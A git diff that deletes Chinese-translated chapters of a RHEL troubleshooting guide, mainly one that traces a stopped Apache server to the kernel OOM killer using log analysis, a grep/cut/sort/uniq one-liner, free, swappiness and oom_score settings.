个文件的积压,该任务在未来应该可以毫无问题地执行。 - -## 一点清理 - -说到正常执行,为了减少内核对打开文件的限制,我们可以使用`–p`选项再次执行`sysctl`命令。 这将把值重置为`/etc/sysctl.conf`文件中定义的值。 - -```sh -# sysctl -p -fs.file-max = 125000 - -``` - -该方法需要注意的一点是,`sysctl -p`将只重置`/etc/sysctl.conf`中指定的值; 它在默认情况下只包含少数几个可调值。 如果在`/etc/sysctl.conf` 中没有指定的值被修改,`sysctl -p`方法不会将该值重置为默认值。 - -# 总结 - -在本章中,我们非常熟悉 Linux 中的内核和用户限制。 这些设置变得非常有用,因为任何使用许多资源的应用最终都将运行其中一个。 - -在下一章中,我们将集中讨论一个非常普遍但又非常棘手的问题。 我们将着重于故障排除和确定系统内存耗尽的原因。 当系统耗尽内存时,会产生很多后果,比如应用进程被杀死。 \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/11.md b/docs/rhel-troubleshoot-guide/11.md deleted file mode 100644 index b3b33c77..00000000 --- a/docs/rhel-troubleshoot-guide/11.md +++ /dev/null @@ -1,815 +0,0 @@ -# 十一、常见故障恢复 - -在前一章中,我们探讨了 Linux 服务器上存在的用户和系统限制。 我们了解了存在哪些限制,以及如何更改需要超过默认值的应用的值。 - -在本章中,我们将在资源耗尽的系统中使用故障排除技能。 - -# 报告的问题 - -今天的章节,就像其他章节一样,将以某人报告一个问题开始。 报告的问题是 Apache 不再运行在服务于公司博客`blog.example.com`的服务器上。 - -报告这个问题的系统管理员同事解释说,有人报告说博客宕掉了,当他登录到服务器时,他可以看到 Apache 不再运行了。 当时,我们的同伴不知道该怎么做才能继续下去,于是向我们寻求帮助。 - -## Apache 真的倒下了吗? - -当一个服务被报告为关闭时,我们应该做的第一件事就是验证它是否真的关闭了。 这实际上是我们的故障诊断流程中的*为我们自己复制它*步骤。 对于 Apache 这样的服务,我们还应该快速地验证它是否真的下降了。 - -根据我的经验,我经常听到有人说某个服务停止了,但实际上它并没有停止。 服务器可能有问题,但它不是技术上的故障。 up 或 down 之间的差异可以更改解决问题所需执行的故障排除步骤。 - -也就是说,对于这类问题,我总是执行的第一步是验证服务是否真的停止了,还是仅仅是服务没有响应。 - -为了验证 Apache 是否真的停止了,我们将使用`ps`命令。 如前所述,该命令将打印当前正在运行的进程的列表。 我们将此输出重定向到`grep`命令,以检查是否有`httpd`(Apache)服务的实例在运行: - -```sh -# ps -elf | grep http -0 S root 2645 1974 0 80 0 - 28160 pipe_w 21:45 pts/0 00:00:00 grep --color=auto http - -``` - -从上面的`ps`命令的输出中,我们可以看到没有名为`httpd`的进程在运行。 在正常情况下,我们预计至少会看到几行类似以下示例: - -```sh -5 D apache 2383 1 0 80 0 - 115279 conges 20:58 ? 00:00:04 /usr/sbin/httpd -DFOREGROUND - -``` - -由于在进程列表中没有发现进程,我们可以得出结论,Apache 实际上在这个系统上没有运行。 现在的问题是,为什么? - -## 为什么它倒下了? - -在简单地通过启动 Apache 服务来解决这个问题之前,我们首先要弄清楚为什么 Apache 服务没有运行。 这是一个称为**根本原因分析**(**RCA**)的过程,这是一个用于理解首先引起问题的原因的形式化过程。 - -下一章我们将对这一过程非常熟悉。 在本章中,我们将保持简单,重点关注为什么 Apache 不能运行。 - -我们首先要查看的地方之一是`/var/log/httpd`中的 Apache 日志。 在前面的章节中,我们在故障排除其他与 web 服务器相关的问题时了解了这些日志。 正如我们在前面的章节中看到的,应用和服务日志在确定服务发生了什么方面非常有帮助。 - -由于 Apache 不再运行,我们更感兴趣的是最近发生的几个事件。 如果服务遇到致命错误或停止,在日志文件的末尾应该有一条消息显示这一点。 - -因为我们只对最后几个事件感兴趣,所以我们将使用`tail`命令来显示`error_log`文件的最后 10 行。 `error_log`文件是要检查的第一个日志,因为它是最可能出现异常的地方: - -```sh -# tail /var/log/httpd/error_log -[Sun Jun 21 20:51:32.889455 2015] [mpm_prefork:notice] [pid 2218] AH00163: Apache/2.4.6 PHP/5.4.16 configured -- resuming normal operations -[Sun Jun 21 20:51:32.889690 2015] [core:notice] [pid 2218] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND' -[Sun Jun 21 20:51:33.892170 2015] [mpm_prefork:error] [pid 2218] AH00161: server reached MaxRequestWorkers setting, consider raising the MaxRequestWorkers setting -[Sun Jun 21 20:53:42.577787 2015] [mpm_prefork:notice] [pid 2218] AH00170: caught SIGWINCH, shutting down gracefully [Sun Jun 21 20:53:44.677885 2015] [core:notice] [pid 2249] SELinux policy enabled; httpd running as context system_u:system_r:httpd_t:s0 -[Sun Jun 21 20:53:44.678919 2015] [suexec:notice] [pid 2249] AH01232: suEXEC mechanism enabled (wrapper: /usr/sbin/suexec) -[Sun Jun 21 20:53:44.703088 2015] [auth_digest:notice] [pid 2249] AH01757: generating secret for digest authentication ... -[Sun Jun 21 20:53:44.704046 2015] [lbmethod_heartbeat:notice] [pid 2249] AH02282: No slotmem from mod_heartmonitor -[Sun Jun 21 20:53:44.732504 2015] [mpm_prefork:notice] [pid 2249] AH00163: Apache/2.4.6 PHP/5.4.16 configured -- resuming normal operations -[Sun Jun 21 20:53:44.732568 2015] [core:notice] [pid 2249] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND' - -``` - -从`error_log`文件内容中,我们可以看到相当多有趣的消息。 让我们快速浏览一下,看看一些更多信息的日志条目。 - -```sh -[Sun Jun 21 20:53:42.577787 2015] [mpm_prefork:notice] [pid 2218] AH00170: caught SIGWINCH, shutting down gracefully - -``` - -前面一行显示 Apache 进程在`Sunday, Jun 21`上的`20:53`上被关闭。 我们可以看到这个错误消息清楚地说明了`shutting down gracefully`。 然而,接下来的几行似乎表明 Apache 服务只在`2`秒后就恢复了: - -```sh -[Sun Jun 21 20:53:44.677885 2015] [core:notice] [pid 2249] SELinux policy enabled; httpd running as context system_u:system_r:httpd_t:s0 -[Sun Jun 21 20:53:44.678919 2015] [suexec:notice] [pid 2249] AH01232: suEXEC mechanism enabled (wrapper: /usr/sbin/suexec) -[Sun Jun 21 20:53:44.703088 2015] [auth_digest:notice] [pid 2249] AH01757: generating secret for digest authentication ... -[Sun Jun 21 20:53:44.704046 2015] [lbmethod_heartbeat:notice] [pid 2249] AH02282: No slotmem from mod_heartmonitor -[Sun Jun 21 20:53:44.732504 2015] [mpm_prefork:notice] [pid 2249] AH00163: Apache/2.4.6 PHP/5.4.16 configured -- resuming normal operations - -``` - -shutdown 日志项显示的是进程 id`2218`,而前面五行显示的是进程 id`2249`。 第 5 行也是`resuming normal operations`。 这四个消息似乎表明 Apache 进程只是重新启动了。 最有可能的是,这是 Apache 的一次优雅的重启。 - -Apache 的优雅重启是在配置修改期间执行的一项相当常见的任务。 这是一种重新启动 Apache 进程而不会使其完全关闭并影响 web 服务的方法。 - -```sh -[Sun Jun 21 20:53:44.732568 2015] [core:notice] [pid 2249] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND' - -``` - -然而,这 10 行代码告诉我们的最有趣的事情是,Apache 打印的最后一个日志只不过是一个通知。 当 Apache 优雅地停止时,它在`error_log`文件中记录一条消息,表明它正在停止。 - -由于 Apache 进程不再运行,并且没有日志记录显示它被正常或不正常地关闭,我们可以得出结论,不管 Apache 没有运行的原因是什么,它都没有正常关闭。 - -如果有人通过使用`apachectl`或`systemctl`命令关闭服务,我们将期望看到与前面示例中讨论的消息类似的消息。 由于日志文件的最后一行没有显示关闭消息,我们只能假设该进程在异常情况下被杀死或终止。 - -现在,问题是*什么可能导致 Apache 进程以这种异常方式终止?* - -一个可能提供关于 Apache 发生了什么的线索的地方是 systemd 设施,因为 Red Hat Enterprise Linux 7 服务,如 Apache,已经被转移到 systemd。 在启动时,`systemd`工具将启动配置为启动的任何服务。 - -当`systemd`启动的进程被终止时,该活动被`systemd`捕获。 根据进程终止后发生的情况,我们可以看到`systemd`是否使用`systemctl`命令捕获了该事件: - -```sh -# systemctl status httpd -httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled) - Active: failed (Result: timeout) since Fri 2015-06-26 21:21:38 UTC; 22min ago - Process: 2521 ExecStop=/bin/kill -WINCH ${MAINPID} (code=exited, status=0/SUCCESS) - Process: 2249 ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND (code=killed, signal=KILL) - Main PID: 2249 (code=killed, signal=KILL) - Status: "Total requests: 1649; Current requests/sec: -1.29; Current traffic: 0 B/sec" - -Jun 21 20:53:44 blog.example.com systemd[1]: Started The Apache HTTP Server. -Jun 26 21:12:55 blog.example.com systemd[1]: httpd.service: main process exited, code=killed, status=9/KILL -Jun 26 21:21:20 blog.example.com systemd[1]: httpd.service stopping timed out. Killing. -Jun 26 21:21:38 blog.example.com systemd[1]: Unit httpd.service entered failed state. - -``` - -命令的输出显示了相当多的信息。 由于我们在前面的章节中已经介绍了相当多的内容,所以我将跳到输出的部分,这些部分将告诉我们 Apache 服务发生了什么。 - -下面这两行看起来很有趣: - -```sh - Process: 2249 ExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUND (code=killed, signal=KILL) - Main PID: 2249 (code=killed, signal=KILL) - -``` - -在这两行中,我们可以看到进程 id`2249`,我们也在`error_log`文件中看到。 这是在`Sunday, June 21`上启动的 Apache 实例的进程 id。 我们还可以从这些线中看到,过程`2249`被杀死了。 这似乎表明有人或什么东西杀死了我们的 Apache 服务: - -```sh -Jun 21 20:53:44 blog.example.com systemd[1]: Started The Apache HTTP Server. -Jun 26 21:12:55 blog.example.com systemd[1]: httpd.service: main process exited, code=killed, status=9/KILL -Jun 26 21:21:20 blog.example.com systemd[1]: httpd.service stopping timed out. Killing. -Jun 26 21:21:38 blog.example.com systemd[1]: Unit httpd.service entered failed state. - -``` - -如果我们看一下状态输出的最后几行,我们可以看到`systemd`设备捕获的事件。 我们可以看到的第一个事件是 Apache 服务在`June 21`上从`20:53`启动。 这并不奇怪,因为它与我们在`error_log`中看到的信息相关。 - -然而,最后三行显示 Apache 进程随后在`June 26`和`21:21`上被杀死。 不幸的是,这些事件并不能确切地显示为什么 Apache 进程被杀死或者是谁杀死了它。 它只告诉我们阿帕奇被杀的确切时间。 这也表明不太可能是`systemd`设施停止了 Apache 服务。 - -## 那时候还发生了什么事? - -由于我们无法从 Apache 日志或`systemctl status`中确定原因,我们将需要继续挖掘,以了解其他可能导致该服务死亡的原因。 - -```sh -# date -Sun Jun 28 18:32:33 UTC 2015 - -``` - -由于 26 日是几天前,我们有一些有限的地方来寻找更多的信息。 我们可以查看的一个地方是`/var/log/messages`日志文件。 正如我们在前面的章节中发现的,`messages`日志包含了来自系统中许多不同设施的相当多的不同信息。 如果有一个地方可以告诉我们当时的系统发生了什么,那就是那里。 - -### 搜索消息日志 - -`messages`日志非常大,其中有许多日志条目: - -```sh -# wc -l /var/log/messages -21683 /var/log/messages - -``` - -因此,我们需要过滤与我们的问题不相关或在我们的问题发生期间不相关的日志消息。 我们可以做的第一件事就是在日志中搜索 Apache 停止的那天的消息:`June 26` - -```sh -# tail -1 /var/log/messages -Jun 28 20:44:01 localhost systemd: Started Session 348 of user vagrant. - -``` - -通过前面提到的`tail`命令,我们可以看到`/var/log/messages`文件中的消息具有日期、主机名、进程和消息的格式。 日期字段是三个字母组成的月份,然后是日期和 24 小时的时间戳。 - -因为我们的问题发生在 6 月 26 日,所以我们可以在这个日志文件中搜索字符串“`Jun 26`”的任何实例。 这应该能提供 26 日写的所有信息: - -```sh -# grep -c "Jun 26" /var/log/messages -17864 - -``` - -显然,这仍然是相当多的日志消息,太多了,无法全部读取。 考虑到这个数字,我们需要过滤更多的消息,也许通过过程: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 | sort -n | uniq -c | sort -nk 1 | tail - 39 Jun 26 journal: - 56 Jun 26 NetworkManager: - 76 Jun 26 NetworkManager[582]: - 76 Jun 26 NetworkManager[588]: - 78 Jun 26 NetworkManager[580]: - 79 Jun 26 systemd-logind: - 110 Jun 26 systemd[1]: - 152 Jun 26 NetworkManager[574]: - 1684 Jun 26 systemd: - 15077 Jun 26 kernel: - -``` - -前面的代码通常称为**bash**一行程序。 这通常是一系列命令,它们将输出重定向到另一个命令,以提供一个命令本身无法执行或生成的函数或输出。 在本例中,我们有一个一行程序,它显示在 6 月 26 日哪个进程的日志记录最多。 - -### 分解这个有用的一行程序 - -上面提到的一行程序一开始有些复杂,但是一旦我们分解了这个一行程序,它就变得更容易理解了。 这是一个非常有用的一行程序,因为它使在日志文件中识别趋势变得非常容易。 - -让我们分解这个一行代码来更好地理解它在做什么: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 | sort | uniq -c | sort -nk 1 | tail - -``` - -我们已经知道第一个命令的作用; 它只是在`/var/log/messages`文件中搜索字符串“`Jun 26`”的任何实例。 其他的命令是我们之前没有涉及到的,但是它们可以是有用的命令。 - -#### cut 命令 - -这个一行程序中的`cut`命令用于读取`grep`命令的输出,并只打印每行的特定部分。 要理解它是如何工作的,我们应该首先运行以`cut`命令结尾的一行程序: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: -Jun 26 systemd: - -``` - -前面的`cut`命令通过指定分隔符并通过该分隔符截断输出来工作。 - -分隔符是一个字符,用于将行分解为多个字段; 我们可以用`–d`标志指定它。 在前面的例子中,`–d`标志后面跟着“`\`”; 反斜杠是一个转义字符,后面跟着一个空格。 这告诉`cut`命令使用单个空格字符作为分隔符。 - -`–f`标志用于指定应该显示的`fields`。 这些字段是分隔符之间的文本字符串。 - -例如,让我们看看下面的命令: - -```sh -$ echo "Apples:Bananas:Carrots:Dried Cherries" | cut -d: -f1,2,4 -Apples:Bananas:Dried Cherries - -``` - -这里,我们指定“`:`”字符作为`cut`的分隔符。 我们还指定它应该打印第一个、第二个和第四个字段。 这产生了印刷苹果(第一块地)、香蕉(第二块地)和干樱桃(第四块地)的效果。 第三个字段 carrot 从输出中被省略。 这是因为我们没有明确地告诉`cut`命令打印第三个字段。 - -现在我们知道了`cut`是如何工作的,让我们看看它是如何处理`messages`日志条目的。 - -以下是一条日志消息的示例: - -```sh -Jun 28 21:50:01 localhost systemd: Created slice user-0.slice. - -``` - -当我们在一行程序中执行`cut`命令时,我们明确地告诉它只打印第一个、第二个和第五个字段: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 -Jun 26 systemd: - -``` - -通过在`cut`命令中指定一个空格字符作为分隔符,可以看到这会导致`cut`只打印每个日志条目中的月、日和程序。 就其本身而言,这似乎不是很有用,但随着我们继续研究这个一行程序,cut 提供的功能将是至关重要的。 - -#### 排序命令 - -下一个命令`sort`是,实际上在这个一行程序中使用了两次: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 | sort | head -Jun 26 audispd: -Jun 26 audispd: -Jun 26 audispd: -Jun 26 audispd: -Jun 26 audispd: -Jun 26 auditd[539]: -Jun 26 auditd[539]: -Jun 26 auditd[542]: -Jun 26 auditd[542]: -Jun 26 auditd[548]: - -``` - -这个命令的操作实际上非常简单。 这个一行程序中的`sort`命令接受`cut`命令的输出并对其排序(排序)。 - -为了更好地解释这一点,让我们看看下面的例子: - -```sh -# cat /var/tmp/fruits.txt -Apples -Dried Cherries -Carrots -Bananas - -``` - -上面的文件又有几个水果,这次,它们不是按字母顺序排列的。 但是,如果我们使用`sort`命令来读取这个文件,这些水果的顺序将会改变: - -```sh -# sort /var/tmp/fruits.txt -Apples -Bananas -Carrots -Dried Cherries - -``` - -正如我们所看到的,不管水果在文件中是如何列出的,顺序现在是按字母顺序排列的。 `sort`的优点是它可以用几种不同的方式对文本进行排序。 事实上,在一行代码中`sort`的第二个实例中,我们也使用`–n`标志对文本进行数字排序: - -```sh -# cat /var/tmp/numbers.txt -10 -23 -2312 -23292 -1212 -129191 -# sort -n /var/tmp/numbers.txt -10 -23 -1212 -2312 -23292 -129191 - -``` - -### uniq 命令 - -我们的一行程序包含`sort`命令的原因只是为了将输入发送到`uniq -c`: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 | sort | uniq -c | head - 5 Jun 26 audispd: - 2 Jun 26 auditd[539]: - 2 Jun 26 auditd[542]: - 3 Jun 26 auditd[548]: - 2 Jun 26 auditd[550]: - 2 Jun 26 auditd[553]: - 15 Jun 26 augenrules: - 38 Jun 26 avahi-daemon[573]: - 19 Jun 26 avahi-daemon[579]: - 19 Jun 26 avahi-daemon[581]: - -``` - -可以使用`uniq`命令识别匹配的行,并在一个惟一的行中显示这些行。 为了更好地理解这一点,让我们看看下面的例子: - -```sh -$ cat /var/tmp/duplicates.txt -Apple -Apple -Apple -Apple -Banana -Banana -Banana -Carrot -Carrot - -``` - -我们的示例文件“`duplicates.txt`”包含多个重复的行。 当我们使用`uniq`读取这个文件时,我们将只看到每一行: - -```sh -$ uniq /var/tmp/duplicates.txt -Apple -Banana -Carrot - -``` - -这可能有些用处; 然而,我发现使用`–c`标志,输出会更有用: - -```sh -$ uniq -c /var/tmp/duplicates.txt - 4 Apple - 3 Banana - 2 Carrot - -``` - -使用`–c`标志,`uniq`命令将计算它找到每一行的次数。 在这里,我们可以看到有四行写着 Apple 这个词。 因此,`uniq`命令在单词 Apple 之前打印数字 4,以表示这一行有四个实例: - -```sh -$ cat /var/tmp/duplicates.txt -Apple -Apple -Orange -Apple -Apple -Banana -Banana -Banana -Carrot -Carrot -$ uniq -c /var/tmp/duplicates.txt - 2 Apple - 1 Orange - 2 Apple - 3 Banana - 2 Carrot - -``` - -对`uniq`命令的一个警告是,为了获得准确的计数,每个实例需要紧接另一个实例。 您可以看到,当我们在 Apple 行组之间添加单词 Orange 时会发生什么。 - -### 把它们都绑在一起 - -如果我们再看一下我们的命令,我们现在可以更好地理解它在做什么: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5 | sort | uniq -c | sort -n | tail - 39 Jun 26 journal: - 56 Jun 26 NetworkManager: - 76 Jun 26 NetworkManager[582]: - 76 Jun 26 NetworkManager[588]: - 78 Jun 26 NetworkManager[580]: - 79 Jun 26 systemd-logind: - 110 Jun 26 systemd[1]: - 152 Jun 26 NetworkManager[574]: - 1684 Jun 26 systemd: - 15077 Jun 26 kernel: - -``` - -上面的命令将过滤并打印`/var/log/messages`中与字符串“`Jun 26`”匹配的所有日志消息。 然后输出将被发送到`cut`命令,该命令打印每一行的月、日和进程。 然后将此输出发送到`sort`命令,将输出排列成相互匹配的组。 然后将排序后的输出发送到`uniq –c`,它计算每行出现的次数,并打印带有计数的唯一行。 - -从那里,我们添加另一个`sort`以按`uniq`添加的数字排序输出,并添加`tail`以将输出缩短到最后 10 行。 - -那么,这句俏皮话到底告诉了我们什么呢? 它告诉我们,`kernel`设备和`systemd`进程正在记录大量日志。 事实上,与列出的其他项相比,我们可以看到这两个项比其他项拥有更多的日志消息。 - -然而,`systemd`和`kernel`在`/var/log/messages`中有更多的日志消息可能并不罕见。 如果有另一个进程写了很多日志,我们可以在一行程序的输出中看到这一点。 然而,由于我们的第一次运行没有产生任何有用的结果,我们可以修改一行程序来缩小输出范围: - -```sh -Jun 26 19:51:10 localhost auditd[550]: Started dispatcher: /sbin/audispd pid: 562 - -``` - -如果我们查看一个`messages`日志条目的格式,我们可以看到在处理之后,可以找到日志消息。 为了进一步缩小搜索范围,我们可以在输出中添加一点消息。 - -我们可以通过将`cut`命令的字段列表更改为“`1,2,5-8`”来实现这一点。 通过在`5`之后添加“`-8`”,我们发现`cut`命令显示从 5 到 8 的所有字段。 这样做的效果是在一行代码中包含每个日志消息的前三个单词: - -```sh -# grep "Jun 26" /var/log/messages | cut -d\ -f1,2,5-8 | sort | uniq -c | sort -n | tail -30 - 64 Jun 26 kernel: 131055 pages RAM - 64 Jun 26 kernel: 5572 pages reserved - 64 Jun 26 kernel: lowmem_reserve[]: 0 462 - 77 Jun 26 kernel: [ 579] - 79 Jun 26 kernel: Out of memory: - 80 Jun 26 kernel: [] ? ktime_get_ts+0x48/0xe0 - 80 Jun 26 kernel: [] ? proc_do_uts_string+0xe3/0x130 - 80 Jun 26 kernel: [] oom_kill_process+0x24e/0x3b0 - 80 Jun 26 kernel: [] out_of_memory+0x4b6/0x4f0 - 80 Jun 26 kernel: [] __alloc_pages_nodemask+0xa09/0xb10 - 80 Jun 26 kernel: [] dump_header+0x8e/0x214 - 80 Jun 26 kernel: [ pid ] - 81 Jun 26 kernel: [] alloc_pages_vma+0x9a/0x140 - 93 Jun 26 kernel: Call Trace: - 93 Jun 26 kernel: [] dump_stack+0x19/0x1b - 93 Jun 26 kernel: [] page_fault+0x28/0x30 - 93 Jun 26 kernel: [] __do_page_fault+0x156/0x540 - 93 Jun 26 kernel: [] do_page_fault+0x1a/0x70 - 93 Jun 26 kernel: Free swap - 93 Jun 26 kernel: Hardware name: innotek - 93 Jun 26 kernel: lowmem_reserve[]: 0 0 - 93 Jun 26 kernel: Mem-Info: - 93 Jun 26 kernel: Node 0 DMA: - 93 Jun 26 kernel: Node 0 DMA32: - 93 Jun 26 kernel: Node 0 hugepages_total=0 - 93 Jun 26 kernel: Swap cache stats: - 93 Jun 26 kernel: Total swap = - 186 Jun 26 kernel: Node 0 DMA - 186 Jun 26 kernel: Node 0 DMA32 - 489 Jun 26 kernel: CPU - -``` - -如果我们增加`tail`命令来显示最后 30 行,我们可以看到一些有趣的趋势。 第一行非常有趣的是输出中的第四行: - -```sh - 79 Jun 26 kernel: Out of memory: - -``` - -看起来,`kernel`打印了以术语“`Out of memory`”开头的`79`日志消息。 虽然这看起来似乎有点显而易见,但似乎该服务器可能在某个时刻耗尽了内存。 - -下面两行有趣的文字似乎也支持这个理论: - -```sh - 80 Jun 26 kernel: [] oom_kill_process+0x24e/0x3b0 - 80 Jun 26 kernel: [] out_of_memory+0x4b6/0x4f0 - -``` - -第一行似乎表明内核杀死了一个进程; 第二行再次表明存在*内存不足*的情况。 这个系统是否已经耗尽了内存,并在此过程中杀死了 Apache 进程? 这似乎很有可能。 - -## 当 Linux 系统耗尽内存时会发生什么? - -在 Linux 上,对内存的管理与其他操作系统略有不同。 当系统内存不足时,内核有一个旨在回收使用的内存的进程; 这个进程称为**内存耗尽杀手**(**oom-kill**)。 - -`oom-kill`进程被设计用来杀死占用大量内存的进程,以便为关键系统进程释放这些内存。 我们将稍微介绍一下`oom-kill`,但是首先,我们应该理解 Linux 如何定义内存不足。 - -### 最小可用内存 - -在 Linux 上,当空闲内存低于定义的最小内存时,将启动 oom-kill 进程。 这个最小值当然是一个名为`vm.min_free_kbytes`的内核可调参数。 此参数允许您设置系统确保始终可用的内存量(以千字节为单位)。 - -当可用内存低于这个参数的值时,系统开始采取行动。 在深入讨论之前,让我们先看看这个值在我们的系统上设置了什么,并刷新 Linux 中内存的管理方式。 - -我们可以使用与前一章相同的`sysctl`命令来查看当前的`vm.min_free_kbytes`值: - -```sh -# sysctl vm.min_free_kbytes -vm.min_free_kbytes = 11424 - -``` - -目前,该值为`11424`千字节或约 11 兆字节。 这意味着我们的系统的空闲内存必须总是大于 11 兆字节,否则系统将启动 oom-kill 进程。 这看起来很简单,但是我们从[第 4 章](04.html#QMFO1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 4. Troubleshooting Performance Issues"),*故障诊断性能问题*中知道,Linux 管理内存的方式不一定那么简单: - -```sh -# free - total used free shared buffers cached -Mem: 243788 230012 13776 60 0 2272 --/+ buffers/cache: 227740 16048 -Swap: 1081340 231908 849432 - -``` - -如果我们在这个系统上运行`free`命令,我们可以看到当前的内存使用情况以及可用的内存数量。 在深入讨论之前,我们将分解这个输出,以刷新对 Linux 如何使用内存的理解。 - -```sh - total used free shared buffers cached -Mem: 243788 230012 13776 60 0 2272 - -``` - -在第一行中,我们可以看到系统总共有 243MB 的物理内存。 我们可以在第二列中看到目前使用了 230MB,第三列显示未使用的 13MB。 系统正在测量这个未使用的值,以确定当前所需的最小内存是否可用。 - -这一点很重要,因为如果我们还记得[第 4 章](04.html#QMFO1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 4. Troubleshooting Performance Issues")、*性能问题故障排除*,我们使用第二个“内存空闲”值来确定有多少内存可用。 - -```sh - total used free shared buffers cached -Mem: 243788 230012 13776 60 0 2272 --/+ buffers/cache: 227740 16048 - -``` - -在`free`的第二行中,我们可以看到当系统计算缓存使用的内存时使用的和空闲的内存数量。 如前所述,Linux 系统非常积极地缓存文件和文件系统属性。 所有这些缓存都存储在内存中,我们可以看到,在运行这个`free`命令的瞬间,缓存使用了 2,272 KB 的内存。 - -当空闲内存(不包括缓存)开始接近`min_free_kbytes`值时,系统将开始回收一些用于缓存的内存。 这是为了允许系统缓存它所能缓存的,但在内存较低的情况下,这个缓存将成为一次性的,以防止 oom-kill 进程启动: - -```sh -Swap: 1081340 231908 849432 - -``` - -`free`命令的第三行将我们带到 Linux 内存管理的另一个重要步骤:交换。 从前面的行可以看到,当执行这个`free`命令时,系统从物理内存交换了大约 231MB 的数据到交换设备。 - -这是我们期望在可用内存不足的系统上看到的情况。 当`free`内存开始变得稀缺时,系统将开始获取物理内存中的内存对象,并将它们推到交换内存中。 - -系统开始执行这些交换活动的积极程度很大程度上取决于内核参数`vm.swappiness`中定义的值: - -```sh -$ sysctl vm.swappiness -vm.swappiness = 30 - -``` - -在我们的系统中,`swappiness`值目前被设置为`30`。 这个可调参数接受 0 到 100 之间的值,其中 100 允许最激进的交换策略。 - -当`swappiness`值较低时,系统倾向于在将内存对象移动到交换设备之前尽可能长时间地保留物理内存中的内存对象。 - -#### 快速回顾一下 - -在讨论 oom-kill 之前,让我们回顾一下在 Linux 系统中内存开始减少时会发生什么。 系统将首先尝试释放用于磁盘缓存的内存对象,并将使用的内存移动到交换设备。 如果系统无法通过前面提到的两个进程释放足够数量的内存,内核将启动“清除内存”进程。 - -### oom-kill 是如何工作的 - -如前所述,oom-kill 进程是在空闲内存不足时启动的进程。 这个进程被设计用来识别占用大量内存并且对系统操作不重要的进程。 - -那么,oom-kill 是如何决定的呢? 它实际上是由内核决定的,而且是不断更新的。 - -在前面的章节中,我们讨论了系统中每个正在运行的进程如何在`/proc`文件系统中拥有一个文件夹。 `kernel`维护这个文件夹,其中有许多有趣的文件。 - -```sh -# ls -la /proc/6689/oom_* --rw-r--r--. 1 root root 0 Jun 29 15:23 /proc/6689/oom_adj --r--r--r--. 1 root root 0 Jun 29 15:23 /proc/6689/oom_score --rw-r--r--. 1 root root 0 Jun 29 15:23 /proc/6689/oom_score_adj - -``` - -前面提到的三个文件特别与 oom-kill 进程以及每个进程被杀死的可能性相关。 我们要看的第一个文件是`oom_score`文件: - -```sh -# cat /proc/6689/oom_score -40 - -``` - -如果我们`cat`这个文件,我们会看到它只包含一个数字。 然而,这个数字对灭呼进程非常重要,因为这个数字是进程 6689 的 OOM 得分。 - -OOM 评分是`kernel`分配给进程的一个值,该值确定对应进程的优先级是高还是低。 得分越高,进程被杀死的可能性就越大。 当内核给这个进程赋值时,它会根据进程使用的内存和交换量以及它对系统的临界程度来赋值。 - -你可能会问自己,*我想知道是否有一种方法来调整我的进程的 oom 评分。* 这个问题的答案是肯定的,有! 这就是另外两个文件`oom_adj`和`oom_score_adj`发挥作用的地方。 这两个文件允许您调整进程的 oom 评分,允许您控制进程被杀死的可能性。 - -目前,`oom_adj`文件将以折旧方式代替`oom_score_adj`文件。 因此,我们将只关注`oom_score_adj`文件。 - -#### 调整房间评分 - -`oom_score_adj`文件支持从-1000 到 1000 的值,其中更高的值将增加 oom-kill 选择进程的可能性。 让我们看看当我们在过程中增加 800 的调整值时,我们的房间评分会发生什么变化: - -```sh -# echo "800" > /proc/6689/oom_score_adj -# cat /proc/6689/oom_score -840 - -``` - -只需将内容更改为 800,内核就会检测到此调整,并将 800 添加到该过程的 oom 评分中。 如果这个系统在不久的将来耗尽内存,这个进程绝对会被 oom-kill 杀死。 - -如果我们将此值更改为-1000,这实际上将从 oom-kill 中排除该进程。 - -## 确定我们的进程是否被 oom-kill 杀死 - -现在,我们已经知道当系统内存不足时,会发生什么,让我们仔细看看系统到底发生了什么。 为此,我们将使用`less`来读取`/var/log/messages`文件,并查找“`kernel: Out of memory`”消息的第一个实例: - -```sh -Jun 26 00:53:39 blog kernel: Out of memory: Kill process 5664 (processor) score 265 or sacrifice child - -``` - -有趣的是,“`Out of memory`”日志消息的第一个实例发生在 Apache 进程被杀死前 20 个小时。 此外,被杀死的进程是一个非常熟悉的进程,即前一章中的“`processor`”cronjob。 - -这个单一的日志记录实际上可以告诉我们关于这个进程的很多信息,以及为什么 oom-kill 选择这个进程。 在第一行中,我们可以看到内核给处理器进程的评分为`265`。 虽然不是最高的分数,但我们已经看到 265 的分数很可能比此时运行的大多数进程的分数都要高。 - -这似乎表明此时处理器作业占用了相当多的内存。 让我们继续查看这个文件,看看这个系统上可能还发生了什么: - -```sh -Jun 26 00:54:31 blog kernel: Out of memory: Kill process 5677 (processor) score 273 or sacrifice child - -``` - -再往下一点,我们可以看到另一个处理器进程被杀死的实例。 似乎每次运行此作业时,系统都会耗尽内存。 - -为了节省时间,让我们跳到第 21 个小时,仔细看看我们的 Apache 进程被杀死的时间: - -```sh -Jun 26 21:12:54 localhost kernel: Out of memory: Kill process 2249 (httpd) score 7 or sacrifice child -Jun 26 21:12:54 localhost kernel: Killed process 2249 (httpd) total-vm:462648kB, anon-rss:436kB, file-rss:8kB -Jun 26 21:12:54 localhost kernel: httpd invoked oom-killer: gfp_mask=0x200da, order=0, oom_score_adj=0 - -``` - -看来,`messages`日志一直都有我们的答案。 